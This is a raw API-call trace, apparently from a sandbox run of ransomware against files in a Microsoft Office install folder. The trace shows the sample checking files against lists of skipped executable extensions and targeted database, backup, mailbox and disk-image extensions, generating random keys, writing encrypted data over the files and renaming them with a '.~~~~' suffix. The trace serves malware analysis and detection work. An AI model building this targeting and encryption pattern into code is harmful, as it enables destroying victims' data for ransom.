	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".VHDX") returned 0x0
	[0134.377] lstrlenW (lpString=".ndf") returned 4
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".ndf") returned 0x0
	[0134.377] lstrlenW (lpString=".DB") returned 3
	[0134.377] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DB") returned 0x0
	[0134.378] lstrlenW (lpString=".sql") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".sql") returned 0x0
	[0134.378] lstrlenW (lpString=".MYD") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".MYD") returned 0x0
	[0134.378] lstrlenW (lpString=".DBT") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DBT") returned 0x0
	[0134.378] lstrlenW (lpString=".ACCDB") returned 6
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".ACCDB") returned 0x0
	[0134.378] lstrlenW (lpString=".fdb") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".fdb") returned 0x0
	[0134.378] lstrlenW (lpString=".bak") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".bak") returned 0x0
	[0134.378] lstrlenW (lpString=".myd") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".myd") returned 0x0
	[0134.378] lstrlenW (lpString=".DTXS") returned 5
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".DTXS") returned 0x0
	[0134.378] lstrlenW (lpString=".ckp") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".ckp") returned 0x0
	[0134.378] lstrlenW (lpString=".dbt") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".dbt") returned 0x0
	[0134.378] lstrlenW (lpString=".db") returned 3
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".db") returned 0x0
	[0134.378] lstrlenW (lpString=".TXT") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".TXT") returned 0x0
	[0134.378] lstrlenW (lpString=".MDF") returned 4
	[0134.378] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".MDF") returned 0x0
	[0134.379] lstrlenW (lpString=".bdb") returned 4
	[0134.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".bdb") returned 0x0
	[0134.379] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.379] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.379] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0ea0) returned 1
	[0134.380] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.380] CryptReleaseContext (hProv=0x3a0ea0, dwFlags=0x0) returned 1
	[0134.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.380] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25437041210) returned 1
	[0134.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb989e4b0, dwHighDateTime=0x1d60e1e)) 
	[0134.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824ef8
	[0134.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824ef8 | out: hHeap=0x300000) returned 1
	[0134.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4eb8
	[0134.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.381] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.381] GetLastError () returned 0x0
	[0134.381] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.382] GetLastError () returned 0x0
	[0134.384] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffff8f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.384] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x71, lpOverlapped=0x0) returned 1
	[0134.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.384] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.384] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.384] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.384] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.384] CloseHandle (hObject=0xc4) returned 1
	[0134.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0134.385] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.~~~~")) returned 1
	[0134.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.450] GetLastError () returned 0x0
	[0134.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".scr") returned 0x0
	[0134.450] lstrlenW (lpString=".cmd") returned 4
	[0134.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".cmd") returned 0x0
	[0134.450] lstrlenW (lpString=".dll") returned 4
	[0134.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".dll") returned 0x0
	[0134.451] lstrlenW (lpString=".bat") returned 4
	[0134.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".bat") returned 0x0
	[0134.451] lstrlenW (lpString=".cpl") returned 4
	[0134.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".cpl") returned 0x0
	[0134.451] lstrlenW (lpString=".sys") returned 4
	[0134.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".sys") returned 0x0
	[0134.451] lstrlenW (lpString=".msc") returned 4
	[0134.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".msc") returned 0x0
	[0134.451] lstrlenW (lpString=".com") returned 4
	[0134.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".com") returned 0x0
	[0134.451] lstrlenW (lpString=".lnk") returned 4
	[0134.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".lnk") returned 0x0
	[0134.451] lstrlenW (lpString=".msp") returned 4
	[0134.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".msp") returned 0x0
	[0134.451] lstrlenW (lpString=".pif") returned 4
	[0134.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".pif") returned 0x0
	[0134.451] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.451] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0134.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0134.453] lstrlenW (lpString=".sqb") returned 4
	[0134.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".sqb") returned 0x0
	[0134.453] lstrlenW (lpString=".ost") returned 4
	[0134.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".ost") returned 0x0
	[0134.453] lstrlenW (lpString=".txt") returned 4
	[0134.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".txt") returned 0x0
	[0134.453] lstrlenW (lpString=".mdt") returned 4
	[0134.453] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".mdt") returned 0x0
	[0134.454] lstrlenW (lpString=".BDB") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".BDB") returned 0x0
	[0134.454] lstrlenW (lpString=".eql") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".eql") returned 0x0
	[0134.454] lstrlenW (lpString=".DBF") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DBF") returned 0x0
	[0134.454] lstrlenW (lpString=".EQL") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".EQL") returned 0x0
	[0134.454] lstrlenW (lpString=".FDB") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".FDB") returned 0x0
	[0134.454] lstrlenW (lpString=".EDB") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".EDB") returned 0x0
	[0134.454] lstrlenW (lpString=".DACPAC") returned 7
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DACPAC") returned 0x0
	[0134.454] lstrlenW (lpString=".VHD") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".VHD") returned 0x0
	[0134.454] lstrlenW (lpString=".DBV") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DBV") returned 0x0
	[0134.454] lstrlenW (lpString=".dacpac") returned 7
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".dacpac") returned 0x0
	[0134.454] lstrlenW (lpString=".sdf") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".sdf") returned 0x0
	[0134.454] lstrlenW (lpString=".accdb") returned 6
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".accdb") returned 0x0
	[0134.454] lstrlenW (lpString=".DBX") returned 4
	[0134.454] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DBX") returned 0x0
	[0134.455] lstrlenW (lpString=".MDT") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".MDT") returned 0x0
	[0134.455] lstrlenW (lpString=".SQB") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".SQB") returned 0x0
	[0134.455] lstrlenW (lpString=".vhd") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".vhd") returned 0x0
	[0134.455] lstrlenW (lpString=".bac") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".bac") returned 0x0
	[0134.455] lstrlenW (lpString=".mdf") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".mdf") returned 0x0
	[0134.455] lstrlenW (lpString=".BAK") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".BAK") returned 0x0
	[0134.455] lstrlenW (lpString=".BAC") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".BAC") returned 0x0
	[0134.455] lstrlenW (lpString=".dbs") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".dbs") returned 0x0
	[0134.455] lstrlenW (lpString=".vhdx") returned 5
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".vhdx") returned 0x0
	[0134.455] lstrlenW (lpString=".NDF") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".NDF") returned 0x0
	[0134.455] lstrlenW (lpString=".dat") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".dat") returned 0x0
	[0134.455] lstrlenW (lpString=".DBS") returned 4
	[0134.455] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DBS") returned 0x0
	[0134.456] lstrlenW (lpString=".CKP") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".CKP") returned 0x0
	[0134.456] lstrlenW (lpString=".edb") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".edb") returned 0x0
	[0134.456] lstrlenW (lpString=".PST") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".PST") returned 0x0
	[0134.456] lstrlenW (lpString=".dbf") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".dbf") returned 0x0
	[0134.456] lstrlenW (lpString=".SQL") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".SQL") returned 0x0
	[0134.456] lstrlenW (lpString=".pst") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".pst") returned 0x0
	[0134.456] lstrlenW (lpString=".dbv") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".dbv") returned 0x0
	[0134.456] lstrlenW (lpString=".SDF") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".SDF") returned 0x0
	[0134.456] lstrlenW (lpString=".dtxs") returned 5
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".dtxs") returned 0x0
	[0134.456] lstrlenW (lpString=".db3") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".db3") returned 0x0
	[0134.456] lstrlenW (lpString=".OST") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".OST") returned 0x0
	[0134.456] lstrlenW (lpString=".dbx") returned 4
	[0134.456] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".dbx") returned 0x0
	[0134.457] lstrlenW (lpString=".DB3") returned 4
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DB3") returned 0x0
	[0134.457] lstrlenW (lpString=".DAT") returned 4
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DAT") returned 0x0
	[0134.457] lstrlenW (lpString=".VHDX") returned 5
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".VHDX") returned 0x0
	[0134.457] lstrlenW (lpString=".ndf") returned 4
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".ndf") returned 0x0
	[0134.457] lstrlenW (lpString=".DB") returned 3
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DB") returned 0x0
	[0134.457] lstrlenW (lpString=".sql") returned 4
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".sql") returned 0x0
	[0134.457] lstrlenW (lpString=".MYD") returned 4
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".MYD") returned 0x0
	[0134.457] lstrlenW (lpString=".DBT") returned 4
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DBT") returned 0x0
	[0134.457] lstrlenW (lpString=".ACCDB") returned 6
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".ACCDB") returned 0x0
	[0134.457] lstrlenW (lpString=".fdb") returned 4
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".fdb") returned 0x0
	[0134.457] lstrlenW (lpString=".bak") returned 4
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".bak") returned 0x0
	[0134.457] lstrlenW (lpString=".myd") returned 4
	[0134.457] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".myd") returned 0x0
	[0134.458] lstrlenW (lpString=".DTXS") returned 5
	[0134.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".DTXS") returned 0x0
	[0134.458] lstrlenW (lpString=".ckp") returned 4
	[0134.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".ckp") returned 0x0
	[0134.458] lstrlenW (lpString=".dbt") returned 4
	[0134.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".dbt") returned 0x0
	[0134.458] lstrlenW (lpString=".db") returned 3
	[0134.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".db") returned 0x0
	[0134.458] lstrlenW (lpString=".TXT") returned 4
	[0134.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".TXT") returned 0x0
	[0134.458] lstrlenW (lpString=".MDF") returned 4
	[0134.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".MDF") returned 0x0
	[0134.458] lstrlenW (lpString=".bdb") returned 4
	[0134.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".bdb") returned 0x0
	[0134.458] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.458] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0134.458] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0134.458] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0ea0) returned 1
	[0134.459] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.460] CryptReleaseContext (hProv=0x3a0ea0, dwFlags=0x0) returned 1
	[0134.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.460] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25444996586) returned 1
	[0134.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb995cb90, dwHighDateTime=0x1d60e1e)) 
	[0134.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cf88
	[0134.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cf88 | out: hHeap=0x300000) returned 1
	[0134.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
